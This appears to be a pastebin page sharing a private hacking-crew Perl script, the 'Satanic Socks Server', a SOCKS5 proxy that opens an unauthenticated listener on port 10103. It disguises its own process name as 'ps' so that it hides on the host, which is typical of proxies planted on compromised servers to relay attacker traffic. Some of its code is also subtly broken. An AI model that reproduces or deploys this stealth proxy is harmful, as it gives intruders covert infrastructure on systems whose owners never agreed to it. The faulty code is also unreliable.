Private Perl Socks Proxy Script

SUBMITTED BY: Guest

DATE: May 20, 2015, 5:43 p.m.

FORMAT: Text only

SIZE: 5.7 kB

Raw Download

HITS: 805

Report
  1. #!/usr/bin/perl
  3. # Satanic Socks Server v0.8.031206-perl Modified by t0pP8uZz
  4. # This script is private. Only for SaTaNiC team and friends. Not for sale.
  5. # Coded by drmist/STNC, web: www.stnc.ru.
  6. # Satanic Socks Server Modified by t0pP8uZz
  7. # Thanks xprog for getting ahold of this.
  9. $process = "ps";
  11. $auth_enabled = 0;
  12. $auth_login = "";
  13. $auth_pass = "";
  14. $port = 10103;
  16. use IO::Socket::INET;
  18. $SIG{'CHLD'} = 'IGNORE';
  19. $bind = IO::Socket::INET->new(Listen=>10, Reuse=>1, LocalPort=>$port) or die "Can't bind port $port\n";
  20. $0="$process"."\0"x16;;
  22. while($client = $bind->accept()) {
  23. $client->autoflush();
  25. if(fork()){ $client->close(); }
  26. else { $bind->close(); new_client($client); exit(); }
  27. }
  29. sub new_client {
  30. local $t, $i, $buff, $ord, $success;
  31. local $client = $_[0];
  32. sysread($client, $buff, 1);
  34. if(ord($buff) == 5) {
  35. sysread($client, $buff, 1);
  36. $t = ord($buff);
  38. unless(sysread($client, $buff, $t) == $t) { return; }
  40. $success = 0;
  41. for($i = 0; $i < $t; $i++) {
  42. $ord = ord(substr($buff, $i, 1));
  43. if($ord == 0 && !$auth_enabled) {
  44. syswrite($client, "\x05\x00", 2);
  45. $success++;
  46. break;
  47. }
  48. elsif($ord == 2 && $auth_enabled) {
  49. unless(do_auth($client)){ return; }
  50. $success++;
  51. break;
  52. }
  53. }
  55. if($success) {
  56. $t = sysread($client, $buff, 3);
  58. if(substr($buff, 0, 1) == '\x05') {
  59. if(ord(substr($buff, 2, 1)) == 0) { # reserved
  60. ($host, $raw_host) = socks_get_host($client);
  61. if(!$host) { return; }
  62. ($port, $raw_port) = socks_get_port($client);
  63. if(!$port) { return; }
  64. $ord = ord(substr($buff, 1, 1));
  65. $buff = "\x05\x00\x00".$raw_host.$raw_port;
  66. syswrite($client, $buff, length($buff));
  67. socks_do($ord, $client, $host, $port);
  68. }
  69. }
  70. } else { syswrite($client, "\x05\xFF", 2); };
  71. }
  72. $client->close();
  73. }
  75. sub do_auth {
  76. local $buff, $login, $pass;
  77. local $client = $_[0];
  79. syswrite($client, "\x05\x02", 2);
  80. sysread($client, $buff, 1);
  82. if(ord($buff) == 1) {
  83. sysread($client, $buff, 1);
  84. sysread($client, $login, ord($buff));
  85. sysread($client, $buff, 1);
  86. sysread($client, $pass, ord($buff));
  88. if($login eq $auth_login && $pass eq $auth_pass) {
  89. syswrite($client, "\x05\x00", 2);
  90. return 1;
  91. } else { syswrite($client, "\x05\x01", 2); }
  92. }
  94. $client->close();
  95. return 0;
  96. }
  98. sub socks_get_host {
  99. local $client = $_[0];
  100. local $t, $ord, $raw_host;
  101. local $host = "";
  103. sysread($client, $t, 1);
  104. $ord = ord($t);
  105. if($ord == 1) {
  106. sysread($client, $raw_host, 4);
  107. @host = $raw_host =~ /(.)/g;
  108. $host = ord($host[0]).".".ord($host[1]).".".ord($host[2]).".".ord($host[3]);
  109. } elsif($ord == 3) {
  110. sysread($client, $raw_host, 1);
  111. sysread($client, $host, ord($raw_host));
  112. $raw_host .= $host;
  113. } elsif($ord == 4) {
  114. #ipv6 - not supported
  115. }
  117. return ($host, $t.$raw_host);
  118. }
  120. sub socks_get_port {
  121. local $client = $_[0];
  122. local $raw_port, $port;
  123. sysread($client, $raw_port, 2);
  124. $port = ord(substr($raw_port, 0, 1)) << 8 | ord(substr($raw_port, 1, 1));
  125. return ($port, $raw_port);
  126. }
  128. sub socks_do {
  129. local($t, $client, $host, $port) = @_;
  131. if($t == 1) { socks_connect($client, $host, $port); }
  132. elsif($t == 2) { socks_bind($client, $host, $port); }
  133. elsif($t == 3) { socks_udp_associate($client, $host, $port); }
  134. else { return 0; }
  136. return 1;
  137. }
  139. # this part of code was taken from datapipe.pl utility,
  140. # written by CuTTer (cutter[at]real.xakep.ru)
  141. # utility lays on cpan.org
  143. sub socks_connect {
  144. my($client, $host, $port) = @_;
  145. my $target = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => 'tcp', Type => SOCK_STREAM);
  147. unless($target) { return; }
  149. $target->autoflush();
  150. while($client || $target) {
  151. my $rin = "";
  152. vec($rin, fileno($client), 1) = 1 if $client;
  153. vec($rin, fileno($target), 1) = 1 if $target;
  154. my($rout, $eout);
  155. select($rout = $rin, undef, $eout = $rin, 120);
  156. if (!$rout && !$eout) { return; }
  157. my $cbuffer = "";
  158. my $tbuffer = "";
  160. if ($client && (vec($eout, fileno($client), 1) || vec($rout, fileno($client), 1))) {
  161. my $result = sysread($client, $tbuffer, 1024);
  162. if (!defined($result) || !$result) { return; }
  163. }
  164. if ($target && (vec($eout, fileno($target), 1) || vec($rout, fileno($target), 1))) {
  165. my $result = sysread($target, $cbuffer, 1024);
  166. if (!defined($result) || !$result) { return; }
  167. }
  169. if ($fh && $tbuffer) { print $fh $tbuffer; }
  171. while (my $len = length($tbuffer)) {
  172. my $res = syswrite($target, $tbuffer, $len);
  173. if ($res > 0) { $tbuffer = substr($tbuffer, $res); } else { return; }
  174. }
  176. while (my $len = length($cbuffer)) {
  177. my $res = syswrite($client, $cbuffer, $len);
  178. if ($res > 0) { $cbuffer = substr($cbuffer, $res); } else { return; }
  179. }
  180. }
  181. }
  183. sub socks_bind {
  184. my($client, $host, $port) = @_;
  185. # not supported
  186. }
  188. sub socks_udp_associate {
  189. my($client, $host, $port) = @_;
  190. # not supported
  191. }
comments powered by Disqus